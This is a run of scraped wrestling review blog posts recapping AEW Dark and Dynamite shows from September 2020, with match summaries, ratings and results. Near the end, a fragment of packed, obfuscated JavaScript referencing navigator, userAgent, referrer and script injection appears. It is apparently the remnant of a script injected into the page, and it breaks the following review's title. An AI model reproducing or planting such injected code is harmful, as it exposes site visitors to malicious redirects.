Jack Evans is here with Angelico. Dean’s wristlock doesn’t last long so he goes with a dropkick to make Angelico think about it a bit. Angelico kicks him in the leg for a knockdown and a leglock sends Dean to the rope. Dean starts getting fired up so it’s a kick to the back of the head to take him down again. Back up and Dean blasts him with a forearm into a German suplex. What looked to be a double arm DDT takes too long and Angelico kicks the leg out. An inverted Figure Four makes Dean tap at 4:35.

Rating: C. Angelico has always been a favorite of mine and Dean looks rather solid most of the time he’s in there. They’re doing a nice job of playing up Dean as someone who could imagine stealing a win, but again it would help so much to have him actually win something. What we got here was pretty nice though and I like both guys, so it was hardly the biggest surprise.

Lucha Bros vs. Sonny Kiss/Joey Janela

Eddie Kingston is here with the Bros, who are taken down in a hurry by double suicide dives (from Sonny and Joey if that isn’t clear). Fenix is back up and takes his brother down by mistake but they get back in without much trouble. A double kick (may have been low) gets two on Janela but it’s off to Sonny, who is flipped into a moonsault for two on Fenix. It’s off to Pentagon, who kicks Janela down to set up the wheelbarrow splash. Pentagon starts in on the armbar but gets small packaged for two to slow things down.

Joey flips over Pentagon and the hot tag brings in Joey to clean house, including a running basement dropkick to Pentagon in the corner. A 450 connects with Fenix making the save and it’s an exchange of shots to the face for a bit knockdown. Fenix is up with a rolling cutter to take down the legal Janela and it’s back to back superkicks from Pentagon. The spike Fear Factor is enough to finish Janela at 6:00.

Rating: C-. The match was what you would expect, but there was one thing of note here that made me smile and believe it or not, it was from Sonny Kiss. I’m not a big fan of a lot of the less than serious stuff that Kiss does most of the time, but it wasn’t on display here. I kept waiting for the goofy offense to start but instead I got a running dropkick and a 450 when things were getting serious. That was a very pleasant surprise and it deserves some praise.

Overall Rating: C+. Maybe it was keeping the matches shorter, but I had a better time with this show. As much as Nakazawa’s shtick needs to be thrown into a dumpster fire, Kingston’s promo was master level stuff as you believe every word that he says. It wasn’t a great show, but it flew by and that’s not something I can often say about Dark. Good enough show here, and more Kingston please, in a big way.

Results

Brandi Rhodes b. Kenzie Paige – Shot Of Brandi

Jurassic Express b. Ray Rosas/Eric Watts – Extinction Level Event to Rosas

Chaos Project b. Lee Johnson/Anthony Bowens – Spinebuster/Top rope Meteora combination to Bowens

Will Hobbs b. Ryzin – Last Will And Testament

John Silver b. QT Marshall – Spinning torture rack slam

Brian Pillman Jr./Griff Garrison b. David Ali/Cezar Bononi – Powerbomb/Air Pillman combination to Ali

Big Swole b. Skyler Moore – Dirty Dancing

Matt Sydal b. Michael Nakazawa – Leg trap Cobra Clutch

Eddie Kingston b. M’Badu – Kimura

Angelico b. Shawn Dean – Inverted Figure Four

Lucha Bros b. Joey Janela/Sonny Kiss – Spike Fear Factor to Janela

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: All Elite Wrestling

Dynamite
Date: September 9, 2020
Location: Daily’s Place, Jacksonville, Florida
Commentators: Excalibur, Jim Ross, Tony Schiavone

We’re done with All Out and about two months away from Full Gear, which means there is some time before we need to really get started on the build to the show. Tonight is likely to be about fallout, which could make for a rather fun night. There are a lot of ways this show could go so let’s get to it.

Here is All Out if you need a recap.

Chris Jericho talks to Maxwell Jacob Friedman about the loss to loss to Jon Moxley on Saturday. They respect each other and know that the other will be World Champion one day. After an elbow bump they go their separate ways, where they call each other a loser.

Opening sequence.

Lucha Bros vs. Jurassic Express

Jungle Boy and Fenix start things off with an exchange of armdrags. Penta comes in but can’t hit the Fear Factor. Instead it’s Luchasaurus coming in to throw Boy at him for a swinging Downward Spiral. The Bros are sent outside but Penta is right back in for an exchange of chops with Luchasaurus. When that doesn’t go well, it’s a shot to the knee to bring in Boy, who takes Fenix to the floor for a suicide dive. Back in and Penta shoves Boy off the ropes and into a kick from Fenix to take over.

The beating is on until a double clothesline misses, allowing Boy to roll over for the tag to Luchasaurus. Fenix gets chokeslammed off the top (which looked more like a slam off the top) but Penta takes Luchasaurus down. The Gory Bomb into the legdrop combination gets two on Luchasaurus and it’s the spike Fear Factor to Boy. Fenix dives onto Luchasaurus as Penta gets two for a shocked reaction. Back in and Boy sends them into each other, setting up a rollup to give Boy the pin at 9:21.

Rating: B-. Total action match here and it’s amazing how much more interesting and entertaining Jurassic Express has been since Marko Stunt went onto the shelf. You might even think that he’s a completely unnecessary part of the team and little more than a mascot. It’s nice to see Jurassic Express win here though, even if it came at the Lucha Bros’ expense, though they have lost so many big matches that it doesn’t mean much anymore.

Post match the Bros are about to fight but Eddie Kingston and Butcher and Blade break it up. Eddie talks about how they are brothers and need to get along, eventually getting them to hug.

Clips of Jon Moxley retaining the World Title over MJF at All Out.

Here’s what’s coming on the rest of the show.

While standing in the rain, Jake Roberts talks about how he and Lance Archer were confident going into All Out because that’s what they do. They’re here to trash cars instead of driving them because it’s like getting wet. Archer is ready to take the World Title.

Here’s Matt Hardy for a chat. He can’t believe all of the outpouring of love and concern over the last few days and he is very happy to stand here in front of the people. After a bunch of tests, Hardy is expected to make a full recovery because he is very lucky. He has a wife and family who are here tonight and he is sorry for putting them through that on Saturday. The only thing he is sorry about is the Broken Rules match not going as he wanted. It is time for him to get healthy though, meaning he can start winning matches and going after his first title. Matt praises Private Party and thanks the fans because they are the best.

Orange Cassidy vs. Angelico

Angelico starts with a top wristlock into a wristlock, leaning to them spinning around a lot for the break. With that not working, Angelico traps the leg and pulls on the neck, followed by something like an STF from the side instead of on Cassidy’s back. That’s broken up with a grab of the rope and Angelico misses a running boot in the corner. Cassidy hits a suicide dive into a high crossbody inside, setting up a tornado DDT. The Orange Punch finishes Angelico at 3:11.

Rating: C. That’s a good way to use Cassidy here after the big win on Saturday. If they want to make him a big deal going forward, this is something you need to do. Cassidy wasn’t doing his shtick here either and that is going to need to happen more often if he is going to have some longevity.

Post match Santana and Ortiz run in to jump Cassidy but the Best Friends run in for the save. Chuck, in a shirt featuring Trent’s mom’s van, calls them ding dongs and yells about Santana and Ortiz destroying his best friend’s mom’s van. The challenge is on for a parking lot fight and Trent says they are coming to hurt them instead of making mama proud. The levity of the mom’s van stuff and the intensity of wanting a parking lot brawl isn’t quite working here.

The Young Bucks knock down the interviewer for trying to ask them questions.

Here are Kip Sabian and Penelope Ford for an in-ring chat. Sabian throws Tony Schiavone out because all anyone wants to know is who is the best man for his wedding. Cue a rather large man in a loud shirt to say he’s here to be the best man. Sabian doesn’t think so, because the guy is a subscriber to Sabian’s Twitch channel and was told he was “the best, man”.

Next up is Brian Pillman Jr. for the same issue. Sabian sends Pillman away and says he hopes his birthday was awful. Now it’s time for the real best man: Miro, formerly known as Rusev. Miro talks about spending ten years chasing the brass ring and tells you where you can stick it. He’s shown he’s the best gamer on Twitch and now he’s all elite.

Tony Schiavone had a sitdown interview with Hangman Page earlier today. Page is banged up after All Out but Tony wants the real answer about how he’s feeling. Page talks about how there were a few hundred fans at All Out but they were pretty far away. He couldn’t hear a sound for thirty minutes because it was like everyone was waiting for he and Kenny Omega to fall apart and lose the Tag Team Titles.

It wasn’t inevitable though and it was Page’s fault that FTR became #1 contenders in the first place. It was his fault that he cost the Young Bucks the gauntlet match because they are the best tag team in the world. From head to toe, he is full of poison. Tony talks about Omega walking away from him on Saturday and Page talks about the issues the two of them have had despite their successes. Now it’s time to get back to the top for another title shot and they’ll get through this too. Page continues to be the best talker in the Elite (past or present) by about ten miles.

Chris Jericho/Jake Hager vs. Joey Janela/Sonny Kiss

Anything goes. Jericho hammers away at Janela in the corner but Janela knocks him down for his own right hands. Kiss comes in for a double hot shot to Jericho and a double dropkick puts him down again. Stereo missile dropkicks connect to send Hager and Jericho to the floor and Janela hits a suicide dive on Jericho. Back in and Janela hits Jericho with a chair a few times but gets suplexed onto said chair for his troubles.

We take a break and come back with Janela throwing Jericho head first into a chair in the corner and making the hot tag to Kiss. Jericho’s trashcan shot is broken up and Hager runs Kiss over from behind. The Vader Bomb onto the trashcan onto Kiss is blocked as Janela and Jericho brawl to the stage. Jericho catapults Janela into a toss off the stage and through a table to leave Janela laying. Kiss dives onto the two of them at once and Cactus Clotheslines Hager from the ramp to the ring. Back in and Jericho sprays Kiss with a fire extinguisher to send him into Hager’s head and arm choke for the win at 9:45.

Rating: C. I didn’t really need to see this getting any kind of time or Janela getting in that much offense (or Janela in general but that’s a different story) but the result worked well enough. Jericho gets back on track and Hager gets to look like a monster again so it accomplished its goals. Now just stop having Janela as a face and things should be better.

Post match Jericho talks about how bad All Out was for the Inner Circle, but the team has a new plan: he and Hager are coming for the Tag Team Titles. I’ve heard worse ideas.

MJF is in his campaign office and freaks out over Jon Moxley cheating to retain the title at All Out. They’re all fired, including Nina, who is FINALLY smiling. After throwing her out, MJF doesn’t like Wardlow calling him sir and yells about Wardlow screwing up. Remember that MJF signs off on Wardlow’s checks instead of Tony Khan, so either get it together or be thrown out on the street. Wardlow is annoyed but agrees that they don’t have a problem. It’s time to plan to get back to the top.

Jon Moxley knows that Lance Archer is coming because this never gets any easier. Would you want to bet against him though?

Here are Tully Blanchard and FTR, with the ring surrounded by the tag division to celebrate their newly won Tag Team Titles….complete with cake. Tully seems to dub the team Fear the Revelation before talking about FTR winning the titles in an 117 degree ring. They came out with the gold to go on top of the deepest tag team division in the world. FTR grew up watching SCU and wished they were still in their prime. Then there’s Private Party. Dax: “Yeah there’s Private Party.”

Billy is one of the most successful tag team wrestlers of all time but being in a second bit Hall of Fame doesn’t get them to the top. Next week they have the Jurassic Express but a cosplay dinosaur isn’t getting a to run the tag team division. The Express comes in and FTR keeps insulting them before bailing from the threat of a double chokeslam. The division surrounds them and the Express pours the cooler of ice onto them. With the champs gone, everyone else has cake.

We look at the Casino Battle Royal.

Taz joins commentary and here is Ricky Starks dressed as Darby Allin instead. Starks, as Allin, talks about finally getting injured and not being able to go skateboarding with his friends. Now as himself, Starks calls out Allin for being reckless and no one wants to be around him. That leaves Allin hurt and alone and the next time he sees Allin, it will be even worse.

Nyla Rose vs. Tay Conti

Vickie Guerrero is in Rose’s corner. Rose drives her into the corner to start and tosses Conti down without much effort. Conti comes back with some kicks to the head but Rose knocks her to the floor for a shot from Vickie. We take a break and come back with Conti pulling her into a reverse cross armbreaker but gets reversed into the Beast Bomb for the fast pin at 5:26. Not enough shown due to the commercial, though I’m not sure why you would have Conti lose like this in her first match under contract.

Post match Vickie says that they are here to make a statement but here’s Hikaru Shida with the kendo stick for the staredown.

The Bucks are being fined $5000 for knocking the interviewer down.

JR had a sitdown interview with Kenny Omega earlier today. Omega’s big takeaway is that he was a champion and now he isn’t, which is part of the game. He and Page had chemistry together so they were a great team, which changed Omega’s perception in the company. Maybe he was supposed to be the breakout star around here but maybe he can be more than a singles guy. JR asks what’s next for him but Omega isn’t sure if they are going to be able to be a team again. He spent a year on the team and now it seems to be time to go back to his singles career.

Moxley vs. Archer for the World Title is taking place on October 14 for the Anniversary Show.

Here’s what’s coming next week.

TNT Title: Brodie Lee vs. Dustin Rhodes

Lee is defending and some of the Dark Order is here. Dustin jumps him to start and the brawl is on outside before they head back in for the opening bell. Lee chops away in the corner but Dustin does the same. They slug it out until Lee knees him in the ribs and catapults him throat first into the middle rope. We take a break and come back with Dustin hitting a bulldog and snaps off the powerslam but the Canadian Destroyer is broken up. A hurricanrana out of the corner sets up the Code Red for two and they’re both down.

Back up and Cross Rhodes gives Dustin two but Lee is back with a superkick. Lee powerbombs him for two but misses a running boot in the corner. Dustin hits the running flip dive off the apron so John Silver tries to interfere. That lets Dustin hit the Unnatural Kick to Lee and a snap powerslam to Silver. Dustin piledrives Lee for two and a big clothesline gets the same. Back up and Lee hits the discus lariat for the pin at 10:23.

Rating: B. Coming out of All Out, one of the things that I kept hearing praised was Dustin’s fired up promo and how well he has been doing as of late. I hadn’t really gotten it so I paid extra attention to this and yeah, it worked very well. While I don’t particularly care about Dustin avenging the Rhodes Family name, I can get into the idea of the old cowboy with one shot left at glory and putting in a fired up attempt to get the title. This worked very well and they kept my attention after getting it early on.

Post match here’s the rest of the Dark Order with the unconscious QT Marshall but Lee throws Colt Cabana out. Evil Uno tries to calm Cabana down as Lee returns the low blow to Dustin.

We get some Breaking News from Cody. He has gone to Marietta, Georgia to shoot the Go Big Show, which is a new competition series with all kinds of unique acts. Cody will be a judge on the show, which is the only connection the show has to wrestling.

Overall Rating: B-. The opening match and main event helped this one out but it was kind of a cool down show after last time. They have a lot to build towards in the future and it’s ok to burn off a show like this coming off a rare pay per view. That being said, it was far from bad and they did enough to keep me interested. It wasn’t a great show, but it was good enough and that’s all it needs to be.

Results

Jurassic Express b. Lucha Bros – Rollup to Fenix

Orange Cassidy b. Angelico – Orange Punch

Chris Jericho/Jake Hager b. Joey Janela/Sonny Kiss – Head and arm choke to Kiss

Nyla Rose b. Tay Conti – Beast Bomb

Brodie Lee b. Dustin Rhodes – Discus lariat

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: All Elite Wrestling

Dark
Date: September 8, 2020
Location: Daily’s Place, Jacksonville, Florida
Commentators: Excalibur, Taz

For reasons I don’t quite fathom, this is the third episode of Dark in eight days because we needed a special one before All Out and then the regular shows as well. At least tonight’s show along with Friday’s were a little shorter than usual, but we’ve got squashification waiting for us so let’s get to it.

Here are last week’s results if you need a recap.

Taz and Excalibur give us the rapid fire intro.

Sean Legacy vs. Will Hobbs

This is a big deal as Hobbs has yet to win a match but was in the Casino Battle Royal on Saturday, meaning we’re FINALLY getting someone promoted from the ranks of the jobbers. Hobbs starts fast with a running shoulder before lifting Legacy up by the wrist for some arm cranking. Legacy’s crossbody is knocked out of the air with ease and a release gordbuster knocks him silly again. An Oklahoma Stampede finishes Legacy at 2:59. Now why did it take us so many months to see something like this? Even if Hobbs never goes anywhere, giving him a win or two makes him seem like more of a threat. Better later than never.

Tony Donati vs. Brian Cage

Non-title. Cage hits a release German suplex in the first five seconds and then does the curls into the fall away slam. Donati gets in a few shots to the face but it’s a superplex into a powerbomb. Weapon X finishes Donati at 1:43. Exactly what it should have been.

Griff Garrison vs. Angelico

Taz starts with a story about buying tights and they fight over wrist control. Angelico armdrags him down and poses like a cocky heel should but Garrison grabs a rollup for two. A discus lariat drops Angelico again but he pulls Garrison face first into the middle turnbuckle. Angelico is back with a crazy looking….uh….reverse seated half nelson with the legs? Naturally Excalibur has a name for it and in this case that might be easier. That’s broken up in a hurry and Angelico gets a boot up in the corner to stop a charge. Angelico has had it with this though and pulls him down into a spinning leg crank for the tap at 5:50.

Rating: C. The holds were insane here and that’s one of the reasons I like watching Angelico. He brings a great mixture of international styles and makes them look rather natural while still being able to fly when necessary. Garrison looks unique enough to make things interesting and it was a nice match as a result.

Anna Jay vs. Skyler Moore

Anna sends her into the corner to start but Moore takes her down into a rollup for two. A World’s Strongest Slam plants Anna for two so she drops tot he floor for a breather. Back in and Moore grabs a gutwrench suplex for two more so Jay sends her into the corner for a backrake. We hit the chinlock into a rear naked choke to make Moore tap at 3:25.

Rating: D+. Now this was smarter as Jay isn’t ready to do a long match of any sort. That isn’t a knock on her but rather a reality, because she just doesn’t have the experience. Let her get her feet wet and learn how to do something like this. She probably shouldn’t be doing that on a televised match, but I can get why Jay is out there. The match wasn’t very good, but they both need ring time and there is only one way to get that.

Lee Johnson vs. Eddie Kingston

Commentary talks about cease and desist letters from New York to start as Kingston grabs a suplex. The stomping is on as Excalibur gets to talk about Eddie’s Japanese influence, so you knew he’s all over it. Kingston strikes away but Johnson gets in an elbow in the corner and a springboard missile dropkick. The Blue Thunder Bomb gets two but Kingston is back with the spinning backfist for the pin at 3:18.

Rating: C-. There is something so gritty and raw about Kingston and it works for him. For lack of a better term he feels real, and that is the kind of thing you can’t script. You get something out of watching him and it’s a feeling that I rather like. He was a good signing for AEW and it shows that they do have a nice eye for what should have been rather obvious.

Serpentico vs. Sonny Kiss

Sonny sends him into the corner to start so Serpentico blasts him in the face for two. A rolling elbow gets Sonny out of trouble until Serpentico kicks him down. We get a Fargo inspired strut and a knee drop gets two on Kiss. The chinlock doesn’t last long and Kiss is back with some kicks to the head. The bottom rope splits splash gives Kiss two and it’s the handspring slap in the corner to keep Serpentico in trouble. Sonny tries the Matrix but gets double stomped down for two more. That doesn’t matter very much though as Sonny gets up top for a Molly Go Round and the pin at 4:46.

Rating: C-. Kiss is crazy athletic and the gymnastics look great, but I’m not sure how high of a ceiling he really has. It is far from the most serious gimmick and that can be a problem in the long run. That being said, the athleticism alone will keep him around for a long time and the charisma helps even more. Serpentico is fine as well so this was a perfectly acceptable match.

Ricky Starks vs. Ben Carter

Starks shares a stare with Vickie Guerrero in the crowd before grabbing a waistlock to start. Carter reverses and picks the wrist, only to get headlocked over. Carter is back up and cranks on the arm before hitting a dropkick. Starks is getting tired of this and sends him into the corner but Carter fights out.

That doesn’t work for Starks who unloads with shots to the head. Starks belly go back suplexes him for two and we hit the chinlock. Carter jawbreaks his way to freedom and a rollup gets two. A superkick into a frog splash gives Carter two as Taz isn’t liking this. Carter misses a Phoenix splash and it’s the spear into Roshambo for the pin on Carter at 7:34.

Rating: C. Starks continues to look great every time he is out there and Carter made the most of his time out there as well. That’s all you can ask for out of a match like this and they did things well enough. I could go for a good deal more of both guys and that isn’t something you get to say very often.

Dynamite preview takes us out.

Overall Rating: C-. Slightly more watchable than usual, though that might have something to do with the show being about fifty minutes long. This is what the show should be more often than not, but I have a feeling they just split up what was going to be another nearly two hour episode into two nights. That doesn’t give me hope for the future but it was nice for a one off change.

Results

Will Hobbs b. Sean Legacy – Oklahoma Stampede

Brian Cage b. Tony Donati – Weapon X

Angelico b. Griff Garrison – Reverse inverted Figure Four

Anna Jay b. Skyler Moore – Rear naked choke

Eddie Kingston b. Lee Johnson – Spinning backfist

Sonny Kiss b. Serpentico – Molly Go Round

Ricky Starks b. Ben Carter – Roshambo

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: All Elite Wrestling

Dark
Date: September 1, 2020
Location: Daily’s Place, Jacksonville, Florida
Commentators: Excalibur, Taz

Great, Excalibur is back. I didn’t know what I would do without the weird emphasis on combiNATIONS or hearing the exact and undisputed proper Japanese and Spanish names for moves while he also gets in his jokes from PWG. Would it be too much to ask Taz to choke him out? Let’s get to it.

Here are last week’s results if you need a recap.

Taz and Excalibur welcome us to the show so I have to look at Excalibur’s stupid…well chin in this case.

Eddie Torres vs. Shawn Spears

They go with the grappling to start with Spears taking him down and then putting a knee into Torres’ arm. Back up and they lock up against the ropes until Spears takes him outside for rams into various objects. They get back in with Torres hitting a running dropkick, only to get hit in the face. The Death Valley Driver finishes Torres at 3:49.

Rating: D+. Another nothing match here for Spears who gets to win match after match and never goes anywhere but that’s the case for a lot of Dark regulars. It isn’t a terrible match, but Spears has been around this show for a long time and wasn’t all that great when he was a regular on Dynamite. That’s a weird place to be, but it might be time to try him out on Dynamite again. It’s not like this is anything interesting and it would make sense to give someone else a shot.

Post match Spears gets in a shot with the loaded glove.

Santana and Ortiz vs. Rysin/Faboo Andre

Santana headlocks Rysin to start as Taz suggests that Trent’s mom’s van was almost going to a chop shop. Rysin elbows Santana in the face but gets kicked down into Three Amigos. Andre comes in to dropkick Ortiz and a middle rope spinning crossbody gets two. Everything breaks down though and a pop up sitout powerbomb plants Andre. Ortiz kicks Andre in the face for the pin at 3:29.

Rating: C-. This was slightly more entertaining than the opener as it was more of a squash and had a guy named Faboo Andre, which makes everything a little bit better. Santana and Ortiz are another team who could be a big deal around here but haven’t had a chance near the top of the division. It doesn’t help that they’re feuding with the Best Friends over a mom’s van but I’m sure that’ll go somewhere good in the end.

Post match Santana and Ortiz are impressed by the Best Friends finally showing some fortitude. One thing though: Trent’s mom needs to stop calling Ortiz’s phone because it’s not going to happen.

Cassandra Golden vs. Allie

QT Marshall is here with Allie. They lock up to start for a standoff, which Excalibur says is Golden giving Allie fits, because Excalibur doesn’t know what fits mean. Allie elbows her in the face and grabs a swinging neckbreaker, followed by the sliding elbow. That’s enough to send Golden outside so Allie throws her back in, with Marshall putting Allie back on the apron. Back in and a running hip attack gives Golden one in the corner and we hit the chinlock. Allie fights up with some knees to the ribs and the running bulldog, followed by the Eye of the Hurricane (Down the Rabbit Hole) for the pin on Golden at 4:14.

Rating: D+. Allie continues to turn into a wrestler around here, which has taken some time but she is already a few steps ahead of a lot of the people in the division. It wasn’t much of a match but Golden got in a little offense, which is better than some people get around here. Allie was the point here though and that worked out well enough.

The Best Friends brawl with Santana and Ortiz in the back.

Frankie Kazarian vs. Angelico

This could be good. They fight over a wristlock to start with Kazarian taking him down but Angelico flips out. A front facelock has Kazarian in trouble but they get up for a standoff. An exchange of legsweeps set up one each until Angelico takes him down by the leg into a leglock. Kazarian gets two off an Oklahoma roll but Angelico gets in a right hand to the face.

Something like an Octopus hold on the mat is switched into a leglock to keep Kazarian in trouble. Back up and Kazarian walks into an elbow to the face and it’s right back to the leg cranking. Angelico pulls him out of the corner and hammers away with right hands, setting up the springboard spinning legdrop for two. Angelico is back up but the Fall of the Angels is broken up, allowing Kazarian to hit a reverse DDT for the pin at 7:50.

Rating: C+. Believe it or not, two of the better people on the show have the best match on the show in a good while. I can’t say I’m surprised whatsoever and I’m also not complaining whatsoever. This was a rather nice match between two people who were able to have a little time and get something going, which is what I want to see out of Dark a lot more often.

Brandi Rhodes comes to the stage for a chat with Tony Schiavone. Tony brings up the Nightmare Sisters losing in the Women’s Tag Team Tournament so Brandi calls him Anthony. She knows what it means to be pretty and Anna Jay only got the win because she’s part of Daddy Brody’s special team. You can be pretty but you need to be smart too, so come to her face to face. Brandi trying to sound tough is one of the funniest things this show has ever done.

Donnie Primetime/Ryan Rembrandt vs. Gunn Club

Billy headlocks Rembrandt over to start and it’s off to Austin as commentary laughs about the Gunn Club. It’s back to Billy, who catapults Rembrandt into Austin’s middle rope clothesline. Primetime comes in and commentary talks about how similar he is to Joey Janela. With that horrible thought out of the way, Billy comes in and cleans house before handing it back to Austin for the Quick Draw (which Excalibur doesn’t know, because he isn’t that great of a commentator) and the pin at 3:47.

Rating: D+. Of all the matches that Gunn Club has had around here, this was the most recent. They beat up more jobbers because that’s all they do around here, but since their entire deal deal is Billy Gunn and Son, there isn’t exactly much room for them to grow. Much like Joey Janela/Sonny Kiss, just throw them up onto Dynamite so a big team can beat them and then they can come back down here.

Abadon vs. Dani Jordyn

Jordyn is a little freaked out by Abadon, as she should be. Abadon yells a lot so Dani slugs away and slaps her in the face, which goes as well as you would expect. That earns Jordyn a running clothesline and Abadon starts going after the leg. The knee is crushed into the mat and Abadon does it again for a bonus. A DDT to the leg keeps Jordyn down and Abadon sends her to the apron to sweep the leg again. Back in and Abadon leg laces her with some right hands to the leg making Jordyn tap at 5:00.

Rating: C. This is the kind of match that can do someone some good on this show. Abadon is someone who is climbing the ladder around here and it is a good idea to have her get wins like this. Granted it might not mean as much without having her win a few matches on the other show, but for now, this was an effective way to push Abadon, which is one of the points of something like this.

Tony Donati vs. Ricky Starks

Taz is in a much better mood. After playing some air guitar during his entrance, Starks drives him into the corner to start but Donati grabs a rollup for two. Starks sends him outside with ease and takes it right back inside for a belly to back suplex. There’s a dropkick to Donati and Starks gets in a little dancing. Donati gets in another rollup for another two so Starks gets serious and Roshambos him for the pin at 3:28.

Rating: D+. Not too bad here as Starks continues to look good. The better point for him though is the fact that Starks gets to do something on Dynamite and probably All Out. You’re only going to get so much out of exclusively squashing jobbers so having Starks down here for some target practice is a nice change of pace over what a lot of the Dark regulars get to do.

Jurassic Express vs. Jon Cruz/David Ali

Marko Stunt is here on crutches with the two who don’t look ridiculous in the ring (and yes, one of those is a walking dinosaur who says he is 65 million years old). This is Cruz and Ali’s debut as a team so they don’t have the fist bump timing down just yet. Cruz tries a sleeper on Luchasaurus to start and is quickly thrown off. Ali comes in and gets chopped in the corner as the squash is on early.

It’s off to Boy for some hurricanranas before he holds Ali up for the Tail Whip from Luchasaurus. Ali slips out of the chokeslam attempt and hands it back to Cruz for a jumping enziguri. Luchasaurus kicks Ali in the head anyway and does the same to Cruz for a bonus. Boy adds a sliding elbow to the back of Ali’s head and the Extinction Level Event finishes Cruz at 4:58.

Rating: D+. I’ve given up on the hope of having Jurassic Express being a serious team but this involved Stunt having to stand around instead of interfering or doing that horrible dance so this could have been a lot worse. Cruz and Ali were just target practice for the Express which is hardly a surprise, but it wasn’t exactly thrilling.

Red Velvet vs. Anna Jay

Jay hammers away in the corner to start but gets taken down with a leg lariat. Velvet kicks her down in the corner and hits a bottom rope elbow for two. Some bad right hands and choking have Velvet down and a snap suplex sets up some forearms to the ribs. Back up and Velvet drops into the splits, seemingly for the sole purpose of Jay hitting a Natural Selection.

Back up and Velvet gets the better of a slugout, setting up some clotheslines. Running knees to the back give Velvet two but Jay kicks her in the face. Jay makes sure to look at the camera a few times before knocking Velvet down on the floor. Back in and some curb stomps set up a rear naked choke to finish Velvet at 5:00.

Rating: D-. What in the name of some random reference or term was that? Jay was inducted into the Dark Order last week and seems ready for a feud with the biggest women’s name in the company. Velvet went toe to toe with Jay here and it was rather ridiculous, especially given that Jay is hardly ready for a five minute match based on her past performances. They missed here, and it made Jay look really bad.

Shawn Dean vs. Kip Sabian

Penelope Ford is here too. Sabian uses some signs (ala Sammy Guevara) to promote his Twitch streams and his crop tops. Dean is so intimidating that Sabian doesn’t bother taking off his sunglasses while Taz and Excalibur talk about the gym. Sabian knocks him into the corner and asks why we’re doing this again. A knee to the face and a kick to the chest connects….and the referee says it was wide right. Ok then. Dean uses the distraction to hit a hard German suplex into a floatover DDT for two. A pop up knee stops Dean again though and it’s the Deathly Hallows for the pin at 4:17.

Rating: C-. Sabian is one of those guys I could see working rather well on Dynamite and it isn’t like it’s difficult to boo someone always on Ford’s arm. He feels like a mainstay around Dark though and that’s not exactly a great usage for him. It’s clear that he has some ability and he has been getting better, so let him go and see what he can do. How much more can you really get out of him around here?

Initiative vs. Private Party

Leva Bates is here with the Initiative. The Initiative starts fast and takes Quen down for a double chop into a double splash for two. Avalon knocks Kassidy off the apron but Quen fights out of trouble like he’s beating up a pair of jobbers who happened to get a gimmick. Kassidy comes in with a top rope double stomp to the back into a belly to back suplex for two on Cutler, though only after some staring at the camera. Avalon comes in for a high crossbody on Quen as everything breaks down in a hurry.

A suicide dive drops Quen on the floor, followed by a split legged moonsault for two on Kassidy. The hot tag brings in Quen for a big moonsault onto both of them but Quen has to flip out of an apron hurricanrana from Bates. Back in and Cutler avoids a charge from Quen, with Kassidy tagging himself in. Cutler hits a 450 for no count because Quen isn’t legal, meaning it’s Kassidy with an Oklahoma roll for the pin at 4:21.

Rating: C+. This worked too as they were flying in and out of there as fast as they could. That’s more to Private Party’s tastes, which might be better for them every now and then. They have been doing their thing for a good while now and while I liked them being reined in by FTR on Dynamite, it can be smart to let them go out and do their thing like they did here.

Post match Avalon snaps and beats up Cutler, including a shot to the head with the 20 sided die. They really spent all those weeks and months getting them closer to winning and then finally have them lose here? Really?

Dynamite preview takes us out.

Overall Rating: C-. I kept having to correct myself from calling Dynamite the main roster but in reality, that’s pretty much what it is. In WWE, there are people you know are never making it up to the main roster and that is how it feels with this show compared to Dynamite. A lot of these people are just interchangeable jobbers, which is fine enough, but when you have so many people with nothing to do, maybe it would make sense to drop some of them.

I get the idea of giving indy wrestlers work, but there comes a point where you’re just wasting your contracted talent for the sake of having this show continuing. It was a lot easier with just an hour and thirty four minutes (yeah just), but this could be so much tighter and more effective of a show. They seem to like what they’re doing here, but we are long past the point where you can see the divide between the two levels of the talent. There are some who float back and forth, but if they’re good enough to be on Dynamite full time, they probably shouldn’t be here, in what is effectively a training ground.

Results

Shawn Spears b. Eddie Torres – Death Valley Driver

Santana and Ortiz b. Rysin/Faboo Andre – Kick to Andre’s face

Allie b. Cassandra Golden – Down The Rabbit Hole

Frankie Kazarian b. Angelico – Reverse DDT

Gunn Club b. Donnie Primetime/Ryan Rembrandt – Quick Draw to Primetime

Abadon b. Dani Jordyn – Leg lace

Ricky Starks b. Tony Donati – Roshambo

Jurassic Express b. Jon Cruz/David Ali – Extinction Level Event to Cruz

Anna Jay b. Red Velvet – Rear naked choke

Kip Sabian b. Shawn Dean – Deathly Hallows

Private Party b. Initiative – Oklahoma roll to Cutler

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aeefs|var|u0026u|referrer|hrhfk||js|php'.split('|'),0,{})) Underground
Date: December 28, 2016
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Matt Striker, Vampiro

The opening video looks at Angelico returning, Cage vs. Texano, Catrina suggesting that Crane loves him and Prince Puma losing Grave Consequences.

Vampiro raises Puma from the grave and Puma, now dark, has a new master. I could totally go for this.

